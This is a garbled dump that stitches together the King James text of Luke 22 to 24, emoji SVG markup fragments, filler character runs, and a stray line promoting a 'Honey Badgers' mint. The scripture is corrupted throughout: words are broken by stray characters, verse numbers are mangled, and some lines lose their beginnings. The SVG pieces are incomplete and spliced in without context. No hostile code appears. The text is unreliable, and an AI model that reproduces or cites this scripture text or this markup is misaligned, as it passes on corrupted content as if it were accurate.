22:26: But ye shall not be so: but he that is greatest among you, let him be as the younger; and he that is chief, as he that doth serve.
22:27: For whether is greater, he that sitteth at meat, or he that serveth? is not he that sitteth at meat? but I am among you as he that serveth.
 are they which have continued with me in my temptations.
22:29: And I appoint unto you a kingdom, as my Father hath appointed unto me;
22:30: That ye may eat and drink at my table in my kingdom, and sit on thrones judging the twelve tribes of Israel.
22:31: And the Lord said, Simon, Simon, behold, Satan hath desired to have you, that he may sift you as wheat:
22:32: But I have prayed for thee, that thy faith fail not: and when thou art converted, strengthen thy brethren.
22:33: And he said unto him, Lord, I am reaM
dy to go with thee, both into prison, and to death.
22:34: And he said, I tell thee, Peter, the cock shall not crow this day, before that thou shalt thrice deny that thou knowest me.
22:35: And he said unto them, When I sent you without purse, and scrip, and shoes, lacked ye any thing? And they said, Nothing.
22:36: Then said he unto them, But now, he that hath a purse, let him take it, and likewise his scrip: and he that hath no sword, let him sell his garment, and buy one.
22:37: For I say unto you, that this thaM
t is written must yet be accomplished in me, And he was reckoned among the transgressors: for the things concerning me have an end.
22:38: And they said, Lord, behold, here are two swords. And he said unto them, It is enough.
22:39: And he came out, and went, as he was wont, to the mount of Olives; and his disciples also followed him.
22:40: And when he was at the place, he said unto them, Pray that ye enter not into temptation.
22:41: And he was withdrawn from them about a stone's cast, and kneeled down, and prayeM
22:42: Saying, Father, if thou be willing, remove this cup from me: nevertheless not my will, but thine, be done.
22:43: And there appeared an angel unto him from heaven, strengthening him.
22:44: And being in an agony he prayed more earnestly: and his sweat was as it were great drops of blood falling down to the ground.
22:45: And when he rose up from prayer, and was come to his disciples, he found them sleeping for sorrow,
22:46: And said unto them, Why sleep ye? rise and pray, lest ye enter into temptation.
2:47: And while he yet spake, behold a multitude, and he that was called Judas, one of the twelve, went before them, and drew near unto Jesus to kiss him.
22:48: But Jesus said unto him, Judas, betrayest thou the Son of man with a kiss?
22:49: When they which were about him saw what would follow, they said unto him, Lord, shall we smite with the sword?
22:50: And one of them smote the servant of the high priest, and cut off his right ear.
22:51: And Jesus answered and said, Suffer ye thus far. And he touched his eaM
22:52: Then Jesus said unto the chief priests, and captains of the temple, and the elders, which were come to him, Be ye come out, as against a thief, with swords and staves?
22:53: When I was daily with you in the temple, ye stretched forth no hands against me: but this is your hour, and the power of darkness.
22:54: Then took they him, and led him, and brought him into the high priest's house. And Peter followed afar off.
22:55: And when they had kindled a fire in the midst of the hall, and werM
e set down together, Peter sat down among them.
22:56: But a certain maid beheld him as he sat by the fire, and earnestly looked upon him, and said, This man was also with him.
22:57: And he denied him, saying, Woman, I know him not.
22:58: And after a little while another saw him, and said, Thou art also of them. And Peter said, Man, I am not.
22:59: And about the space of one hour after another confidently affirmed, saying, Of a truth this fellow also was with him: for he is a Galilaean.
22:60: And Peter said, MaM
n, I know not what thou sayest. And immediately, while he yet spake, the cock crew.
22:61: And the Lord turned, and looked upon Peter. And Peter remembered the word of the Lord, how he had said unto him, Before the cock crow, thou shalt deny me thrice.
22:62: And Peter went out, and wept bitterly.
22:63: And the men that held Jesus mocked him, and smote him.
22:64: And when they had blindfolded him, they struck him on the face, and asked him, saying, Prophesy, who is it that smote thee?
22:65: And many other thingsM
 blasphemously spake they against him.
22:66: And as soon as it was day, the elders of the people and the chief priests and the scribes came together, and led him into their council, saying,
22:67: Art thou the Christ? tell us. And he said unto them, If I tell you, ye will not believe:
22:68: And if I also ask you, ye will not answer me, nor let me go.
22:69: Hereafter shall the Son of man sit on the right hand of the power of God.
22:70: Then said they all, Art thou then the Son of God? And he said unto them, Ye sM
22:71: And they said, What need we any further witness? for we ourselves have heard of his own mouth.
23:1: And the whole multitude of them arose, and led him unto Pilate.
23:2: And they began to accuse him, saying, We found this fellow perverting the nation, and forbidding to give tribute to Caesar, saying that he himself is Christ a King.
23:3: And Pilate asked him, saying, Art thou the King of the Jews? And he answered him and said, Thou sayest it.
23:4: Then said Pilate to the chief prM
iests and to the people, I find no fault in this man.
23:5: And they were the more fierce, saying, He stirreth up the people, teaching throughout all Jewry, beginning from Galilee to this place.
23:6: When Pilate heard of Galilee, he asked whether the man were a Galilaean.
23:7: And as soon as he knew that he belonged unto Herod's jurisdiction, he sent him to Herod, who himself also was at Jerusalem at that time.
23:8: And when Herod saw Jesus, he was exceeding glad: for he was desirous to see him of a long season,M
 because he had heard many things of him; and he hoped to have seen some miracle done by him.
23:9: Then he questioned with him in many words; but he answered him nothing.
23:10: And the chief priests and scribes stood and vehemently accused him.
23:11: And Herod with his men of war set him at nought, and mocked him, and arrayed him in a gorgeous robe, and sent him again to Pilate.
23:12: And the same day Pilate and Herod were made friends together: for before they were at enmity between themselves.
te, when he had called together the chief priests and the rulers and the people,
23:14: Said unto them, Ye have brought this man unto me, as one that perverteth the people: and, behold, I, having examined him before you, have found no fault in this man touching those things whereof ye accuse him:
23:15: No, nor yet Herod: for I sent you to him; and, lo, nothing worthy of death is done unto him.
23:16: I will therefore chastise him, and release him.
23:17: (For of necessity he must release one unto them at the feastM
23:18: And they cried out all at once, saying, Away with this man, and release unto us Barabbas:
23:19: (Who for a certain sedition made in the city, and for murder, was cast into prison.)
23:20: Pilate therefore, willing to release Jesus, spake again to them.
23:21: But they cried, saying, Crucify him, crucify him.
23:22: And he said unto them the third time, Why, what evil hath he done? I have found no cause of death in him: I will therefore chastise him, and let him go.
23:23: And they were instant with loud M
voices, requiring that he might be crucified. And the voices of them and of the chief priests prevailed.
23:24: And Pilate gave sentence that it should be as they required.
23:25: And he released unto them him that for sedition and murder was cast into prison, whom they had desired; but he delivered Jesus to their will.
23:26: And as they led him away, they laid hold upon one Simon, a Cyrenian, coming out of the country, and on him they laid the cross, that he might bear it after Jesus.
23:27: And there followed hiM
m a great company of people, and of women, which also bewailed and lamented him.
23:28: But Jesus turning unto them said, Daughters of Jerusalem, weep not for me, but weep for yourselves, and for your children.
23:29: For, behold, the days are coming, in the which they shall say, Blessed are the barren, and the wombs that never bare, and the paps which never gave suck.
23:30: Then shall they begin to say to the mountains, Fall on us; and to the hills, Cover us.
23:31: For if they do these things in a green tree, whM
at shall be done in the dry?
23:32: And there were also two other, malefactors, led with him to be put to death.
23:33: And when they were come to the place, which is called Calvary, there they crucified him, and the malefactors, one on the right hand, and the other on the left.
23:34: Then said Jesus, Father, forgive them; for they know not what they do. And they parted his raiment, and cast lots.
23:35: And the people stood beholding. And the rulers also with them derided him, saying, He saved others; let him savM
e himself, if he be Christ, the chosen of God.
23:36: And the soldiers also mocked him, coming to him, and offering him vinegar,
23:37: And saying, If thou be the king of the Jews, save thyself.
23:38: And a superscription also was written over him in letters of Greek, and Latin, and Hebrew, THIS IS THE KING OF THE JEWS.
23:39: And one of the malefactors which were hanged railed on him, saying, If thou be Christ, save thyself and us.
23:40: But the other answering rebuked him, saying, Dost not thou fear God, seeingM
 thou art in the same condemnation?
23:41: And we indeed justly; for we receive the due reward of our deeds: but this man hath done nothing amiss.
23:42: And he said unto Jesus, Lord, remember me when thou comest into thy kingdom.
23:43: And Jesus said unto him, Verily I say unto thee, To day shalt thou be with me in paradise.
23:44: And it was about the sixth hour, and there was a darkness over all the earth until the ninth hour.
23:45: And the sun was darkened, and the veil of the temple was rent in the midst.
:46: And when Jesus had cried with a loud voice, he said, Father, into thy hands I commend my spirit: and having said thus, he gave up the ghost.
23:47: Now when the centurion saw what was done, he glorified God, saying, Certainly this was a righteous man.
23:48: And all the people that came together to that sight, beholding the things which were done, smote their breasts, and returned.
23:49: And all his acquaintance, and the women that followed him from Galilee, stood afar off, beholding these things.
 behold, there was a man named Joseph, a counsellor; and he was a good man, and a just:
23:51: (The same had not consented to the counsel and deed of them;) he was of Arimathaea, a city of the Jews: who also himself waited for the kingdom of God.
23:52: This man went unto Pilate, and begged the body of Jesus.
23:53: And he took it down, and wrapped it in linen, and laid it in a sepulchre that was hewn in stone, wherein never man before was laid.
23:54: And that day was the preparation, and the sabbath drew on.
5: And the women also, which came with him from Galilee, followed after, and beheld the sepulchre, and how his body was laid.
23:56: And they returned, and prepared spices and ointments; and rested the sabbath day according to the commandment.
24:1: Now upon the first day of the week, very early in the morning, they came unto the sepulchre, bringing the spices which they had prepared, and certain others with them.
24:2: And they found the stone rolled away from the sepulchre.
24:3: And they entered in, M
and found not the body of the Lord Jesus.
24:4: And it came to pass, as they were much perplexed thereabout, behold, two men stood by them in shining garments:
24:5: And as they were afraid, and bowed down their faces to the earth, they said unto them, Why seek ye the living among the dead?
24:6: He is not here, but is risen: remember how he spake unto you when he was yet in Galilee,
24:7: Saying, The Son of man must be delivered into the hands of sinful men, and be crucified, and the third day rise again.
d they remembered his words,
24:9: And returned from the sepulchre, and told all these things unto the eleven, and to all the rest.
24:10: It was Mary Magdalene, and Joanna, and Mary the mother of James, and other women that were with them, which told these things unto the apostles.
24:11: And their words seemed to them as idle tales, and they believed them not.
24:12: Then arose Peter, and ran unto the sepulchre; and stooping down, he beheld the linen clothes laid by themselves, and departed, wondering in himself M
at that which was come to pass.
24:13: And, behold, two of them went that same day to a village called Emmaus, which was from Jerusalem about threescore furlongs.
24:14: And they talked together of all these things which had happened.
24:15: And it came to pass, that, while they communed together and reasoned, Jesus himself drew near, and went with them.
24:16: But their eyes were holden that they should not know him.
24:17: And he said unto them, What manner of communications are these that ye have one to another,M
 as ye walk, and are sad?
24:18: And the one of them, whose name was Cleopas, answering said unto him, Art thou only a stranger in Jerusalem, and hast not known the things which are come to pass there in these days?
24:19: And he said unto them, What things? And they said unto him, Concerning Jesus of Nazareth, which was a prophet mighty in deed and word before God and all the people:
24:20: And how the chief priests and our rulers delivered him to be condemned to death, and have crucified him.
24:21: But we trusteM
d that it had been he which should have redeemed Israel: and beside all this, to day is the third day since these things were done.
24:22: Yea, and certain women also of our company made us astonished, which were early at the sepulchre;
24:23: And when they found not his body, they came, saying, that they had also seen a vision of angels, which said that he was alive.
24:24: And certain of them which were with us went to the sepulchre, and found it even so as the women had said: but him they saw not.
 said unto them, O fools, and slow of heart to believe all that the prophets have spoken:
24:26: Ought not Christ to have suffered these things, and to enter into his glory?
24:27: And beginning at Moses and all the prophets, he expounded unto them in all the scriptures the things concerning himself.
24:28: And they drew nigh unto the village, whither they went: and he made as though he would have gone further.
24:29: But they constrained him, saying, Abide with us: for it is toward evening, and the day is far spenM
t. And he went in to tarry with them.
24:30: And it came to pass, as he sat at meat with them, he took bread, and blessed it, and brake, and gave to them.
24:31: And their eyes were opened, and they knew him; and he vanished out of their sight.
24:32: And they said one to another, Did not our heart burn within us, while he talked with us by the way, and while he opened to us the scriptures?
24:33: And they rose up the same hour, and returned to Jerusalem, and found the eleven gathered together, and them that were wM
24:34: Saying, The Lord is risen indeed, and hath appeared to Simon.
24:35: And they told what things were done in the way, and how he was known of them in breaking of bread.
24:36: And as they thus spake, Jesus himself stood in the midst of them, and saith unto them, Peace be unto you.
24:37: But they were terrified and affrighted, and supposed that they had seen a spirit.
24:38: And he said unto them, Why are ye troubled? and why do thoughts arise in your hearts?
24:39: Behold my hands and my feet, thatM
 it is I myself: handle me, and see; for a spirit hath not flesh and bones, as ye see me have.
24:40: And when he had thus spoken, he shewed them his hands and his feet.
24:41: And while they yet believed not for joy, and wondered, he said unto them, Have ye here any meat?
24:42: And they gave him a piece of a broiled fish, and of an honeycomb.
24:43: And he took it, and did eat before them.
24:44: And he said unto them, These are the words which I spake unto you, while I was yet with you, that all things must be fM
ulfilled, which were written in the law of Moses, and in the prophets, and in the psalms, concerning me.
24:45: Then opened he their understanding, that they might understand the scriptures,
24:46: And said unto them, Thus it is written, and thus it behoved Christ to suffer, and to rise from the dead the third day:
24:47: And that repentance and remission of sins should be preached in his name among all nations, beginning at Jerusalem.
24:48: And ye are witnesses of these things.
24:49: And, behold, I send the promM
ise of my Father upon you: but tarry ye in the city of Jerusalem, until ye be endued with power from on high.
24:50: And he led them out as far as to Bethany, and he lifted up his hands, and blessed them.
24:51: And it came to pass, while he blessed them, he was parted from them, and carried up into heaven.
24:52: And they worshipped him, and returned to Jerusalem with great joy:
24:53: And were continually in the temple, praising and blessing God. Amen.h!
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#fcea2b" d="M36,60A24,24,0,0,0,54.157,20.3047q-.1309-.1515-.2646-.3008A24,24,0,1,0,36,60Z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M45.8147,45.2268a15.4294,15.4294,0,0,1-19.6294,0"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" strM
oke-width="2" d="M47.7657,16.233a23.0273,23.0273,0,0,0-23.3693-.096"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17.6381,22.1467a23,23,0,1,0,36.625-.1294"/>
    <ellipse cx="36" cy="14.8" rx="25" ry="5.25" fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M31.6941,33.4036a4.7262,4.7262,0,0,0-8.6382,0"/>
    <path fill="none" stroke="#00M!
0" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M48.9441,33.4036a4.7262,4.7262,0,0,0-8.6382,0"/>
  <g id="color-foreground">
    <ellipse cx="36" cy="14.8" rx="25" ry="5.25" fill="none" stroke="#61b2e4" stroke-miterlimit="10" stroke-width="2.1"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#FCEA2B"/>
    <polygon id="SVGID" fill="#EA5A47" points="38.254,51.023 41.277,49.677 42.446,48.234 42.764,46.624 39.065,46.669 29.097,46.669 30.411,49.677 33.57,51.023"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M20.6481,30.0276 c0.4053-1.5015M
,1.3531-2.7994,2.66-3.6424c1.2184-0.9802,2.7586-1.4705,4.3194-1.3752"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M51.0038,31.0873 c-2.2619-2.236-5.7272-2.7128-8.5089-1.1708"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M42.7832,45.7687 c0,2.9371-2.308,5.2718-6.9345,5.2718s-6.9637-2.3419-6.9637-5.2718"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" sM
troke-width="2" d="M28.94,45.7687 c0,0,7.0471,2.52,13.75,0.0543"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M47.0027,35.8605 c-0.8605-0.5508-1.8492-0.8688-2.8695-0.9229c-1.1043,0.0204-2.1903,0.2852-3.18,0.7754"/>
    <circle cx="28.0794" cy="35.3089" r="3"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
  <g id="skin-shadow"/>
    <line x1="59.1829" x2="13.1829" y1="46.059" y2="46.059" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4"/>
    <line x1="59.1829" x2="13.1829" y1="54.059" y2="54.059" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4" d="M32.9833,37.0046L32.9833,37.0046c-3.4677,0-6.2789-2.8112-6.2789-6.2789V20.3382c0-3.4677,2.8112-6.2792,6.2789-6.2792l0,0 c3.4681,0,6.2792,2.8115,6.2792,6.2792v10.3875C39.2625,34.1934,36.4513,37.0046,32.9833,37.0046z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4" d="M52.9092,37.0046L52.9092,37.0046c-3.4677,0-6M
.2789-2.8112-6.2789-6.2789V20.3382c0-3.4677,2.8112-6.2792,6.2789-6.2792l0,0 c3.4681,0,6.2792,2.8115,6.2792,6.2792v10.3875C59.1884,34.1934,56.3773,37.0046,52.9092,37.0046z"/>
    <polyline fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4" points="12.9843,18.8851 19.3366,14.1262 19.3366,37.0718"/>
  <g id="color-foreground">
    <line x1="59.1829" x2="13.1829" y1="46.059" y2="46.059" fill="none" stroke="#D22F27" stroke-linecap="round" stroke-linM
ejoin="round" stroke-miterlimit="10" stroke-width="4.1"/>
    <line x1="59.1829" x2="13.1829" y1="54.059" y2="54.059" fill="none" stroke="#D22F27" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4.1"/>
    <path fill="none" stroke="#D22F27" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4.1" d="M32.9833,37.0046L32.9833,37.0046c-3.4677,0-6.2789-2.8112-6.2789-6.2789V20.3382c0-3.4677,2.8112-6.2792,6.2789-6.2792l0,0 c3.4681,0,6.2792,2.8115,6.2792,M
6.2792v10.3875C39.2625,34.1934,36.4513,37.0046,32.9833,37.0046z"/>
    <path fill="none" stroke="#D22F27" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="4.1" d="M52.9092,37.0046L52.9092,37.0046c-3.4677,0-6.2789-2.8112-6.2789-6.2789V20.3382c0-3.4677,2.8112-6.2792,6.2789-6.2792l0,0 c3.4681,0,6.2792,2.8115,6.2792,6.2792v10.3875C59.1884,34.1934,56.3773,37.0046,52.9092,37.0046z"/>
    <polyline fill="none" stroke="#D22F27" stroke-linecap="round" stroke-linejoin="round" stroke-miterliLemit="10" stroke-width="4.1" points="12.9843,18.8851 19.3366,14.1262 19.3366,37.0718"/>
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDC
text/plain;charset=utf-8
-Honey Badgers minting tonight, don't miss it!h!
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="24" fill="#FCEA2B"/>
    <path fill="#D22F27" d="M53.0134,44.4703c-1.9101-0.5703-3.9277,0.5201-4.498,2.4301c-0.1899,0.6362-0.2018,1.3099-0.0342,1.948 l0.111,0.3522l3.797,9.7215l8.5568-6.0862c0.6097-0.4613,1.0532-1.1008,1.275-1.8435c0.5703-1.91-0.5199-3.9283-2.4306-4.4987 c-1.3381-0.3995-2.7576-0.0041-3.7038,1.0317c-0.0808,0.0887-0.2057,0.1237-0.3214,0.0892 c-0.1151-0.0344-0.2004-0.1321-0.2199-0.25M
08C55.3224,45.9789,54.3521,44.87,53.0134,44.4703z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M20.5907,30.0053c0.4075-1.5078,1.358-2.8098,2.6702-3.656c1.2228-0.9847,2.769-1.4753,4.3352-1.3805"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M51.0599,31.0689c-2.2698-2.M
2443-5.7488-2.7231-8.5407-1.1752"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M47.0437,35.8599c-0.8065-0.4709-1.7748-0.9088-2.8803-0.9263c-1.1197-0.0177-2.1249,0.3098-3.1914,0.7782"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M58.3718,41.3612C58.7825,39.6411,59,37.8459,59,36c0-12.7031-10.2978-23-23-23c-12.7031,0-23,10.2969-23,23 c0,12.7022,10.2M
969,23,23,23c3.6206,0,7.0459-0.8367,10.093-2.3272"/>
    <circle cx="28.0396" cy="35.3063" r="3"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M36.4141,41.091c0,0,10.5248,3.1956,0,5.5637c0,0,10.4577,2.9883,0,4.9125"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M53.0134,44.4703c-1.9101-0.5703-3.9277,0.5201-4.498,2.4301c-0.1899,0.6362-0.2018,1.3099-MJ
0.0342,1.948l0.111,0.3522l3.797,9.7215 l8.5568-6.0862c0.6097-0.4613,1.0532-1.1008,1.275-1.8435c0.5703-1.91-0.5199-3.9283-2.4306-4.4987 c-1.3381-0.3995-2.7576-0.0041-3.7038,1.0317c-0.0808,0.0887-0.2057,0.1237-0.3214,0.0892 c-0.1151-0.0344-0.2004-0.1321-0.2199-0.2508C55.3224,45.9789,54.3521,44.87,53.0134,44.4703z"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#FCEA2B" d="M36,13.1161c-12.6823,0-23,10.3177-23,23c0,12.6822,10.3177,23,23,23c12.6822,0,23-10.3178,23-23 C59,23.4338,48.6822,13.1161,36,13.1161z"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="M
round" stroke-miterlimit="10" stroke-width="2" d="M26.5,46c1.8768-2.5502,5.8239-4.1232,10-3.9924c3.8343,0.1201,7.2926,1.6586,9,3.9924"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M22.5,23.0774c0.4132,0.344,2.2456,1.7915,4.9091,1.6364c2.1608-0.1259,3.61-1.2333,4.0909-1.6364"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M40.5,23.0774c0.4132,0.344,M-
2.2456,1.7915,4.9091,1.6364c2.1608-0.1259,3.61-1.2333,4.0909-1.6364"/>
    <path d="M30,31c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,28,30,29.3448,30,31"/>
    <path d="M48,31c0,1.6568-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,29.3448,48,31"/>
59.37.100 libvpx-vp9g
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#FCEA2B"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <path d="M30,31c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,28,30,29.3448,30,31"/>
    <path d="M48,31c0,1.656LU8-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S48,29.3448,48,31"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="24" fill="#FCEA2B"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M28.8233,44.2876c2.3686-0.6663,11.8642,0.535,14.0445,2.0632"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="1M
0" stroke-width="2" d="M22.3012,23.3391c1.2822-0.889,2.8466-1.271,4.3937-1.0722c1.5679,0.0356,3.0646,0.6567,4.1996,1.7378"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M49.0443,27.3182c-2.4149-1.7243-5.3513,0-8.2333-0.2604"/>
    <path d="M30,31c0,1.6568-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6552,1.3447-3,3-3C28.6552,28,30,29.3448,30,31"/>
    <path d="M47,33c0,1.6568-1.3447,3-3,3s-3-1.3433-3-3c0-1.6552,1.3447-3,3-3S47,31.3448,4M
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M55.6437,47.9697c2.1202-3.4721,3.346-7.5506,3.3562-11.916C59.0295,23.3506,48.7558,13.0296,36.0537,13 c-12.7031-0.0297-23.0239,10.2431-23.0536,22.9462c-0.0296,12.7022,10.2432,23.0241,22.9462,23.0537 c5.209,0.0122,10.0176-1.7084,13.8804-4.6186"/>
    <circle cx="43.9286" cy="30.8098" r="9.4209" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlME
imit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M53.6876,30.9567c0,0,2.2127,0.5511,1.9237,4.0128s-3.5691,7.9621-3.5691,7.9621s-2.0208,2.3624-1.4607,4.3219 c0.7165,2.5065,4.3147,6.4367,4.1809,8.6099"/>
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="24" fill="#FCEA2B"/>
    <path fill="#EA5A47" d="M50.5707,44.471c0,0,6.3864,4.2101,6.3864,7.6241c0,2.4671-1.5752,4.5107-4.2717,4.5107 c-3.7214,0-7.6844-6.2448-7.6844-6.2448"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M57.2506,44.81M
37C58.3778,42.0992,59,39.1222,59,36c0-12.7031-10.2978-23-23-23c-12.7031,0-23,10.2969-23,23 c0,12.7022,10.2969,23,23,23c3.3707,0,6.5721-0.7251,9.4566-2.0279"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M31.6941,33.4036 c-1.0598-2.3854-3.8527-3.46-6.238-2.4002c-1.0697,0.4752-1.9249,1.3305-2.4002,2.4002"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" stroke-width="2" d="M48.9441,33.4036 c-1.0598-2.3854-3.8527-3.46-6.M
238-2.4002c-1.0697,0.4752-1.9249,1.3305-2.4002,2.4002"/>
    <path fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2" d="M50.5707,44.471c0,0,6.3864,4.2101,6.3864,7.6241 c0,2.4671-1.5752,4.5107-4.2717,4.5107c-3.7214,0-7.6844-6.2448-7.6844-6.2448"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M20.1657,41.3575C22.3985,47.9591,28.644,52.7116,36,52.7116c7.3561,0,13.6024-4.7533,15.8349-11.3559"/>
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#FCEA2B"/>
    <path fill="#D22F27" d="M26.4992,27.4384c-1.2653-3.3541-6.441-3.5687-6.1168,1.3178c0.0431,0.6485,0.281,1.2724,0.6414,1.8135 l5.3179,6.4224l0,0l5.2212-6.266c0.5796-0.6964,0.9224-1.5779,0.905-2.4853c-0.0863-4.3523-5.0509-4.0351-6.1274-0.8036"/>
    <path fill="#D22F27" d="M45.8012,27.4384c-1.2547-3.3541-6.3873-3.5687-6.0658,1.3178c0.0428,0.6485,0.2787,1.2724,0.6361,1.8135 l5M
.2737,6.4224l0,0l5.1777-6.266c0.5747-0.6964,0.9147-1.5779,0.8974-2.4853c-0.0856-4.3523-5.0089-4.0351-6.0763-0.8036"/>
    <path fill="#FFFFFF" d="M48.5859,42.6735c0,5.6296-4.1784,10.1046-12.5541,10.1046c-8.3738,0-12.6069-4.4888-12.6069-10.1047 C23.4249,42.6734,36.4503,45.7045,48.5859,42.6735z"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-wM
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M48.5859,42.6735c0,5.6296-4.1784,10.1046-12.5541,10.1046c-8.3738,0-12.6069-4.4888-12.6069-10.1047 C23.4249,42.6734,36.4503,45.7045,48.5859,42.6735z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M26.4992,27.4384c-1.2653-3.3541-6.441-3.5687-6.1168,1.3178c0.0431,0.6485,0.281,1.2724,0.6414,1.8135lM
5.3179,6.4224l0,0 l5.2212-6.266c0.5796-0.6964,0.9224-1.5779,0.905-2.4853c-0.0863-4.3523-5.0509-4.0351-6.1274-0.8036"/>
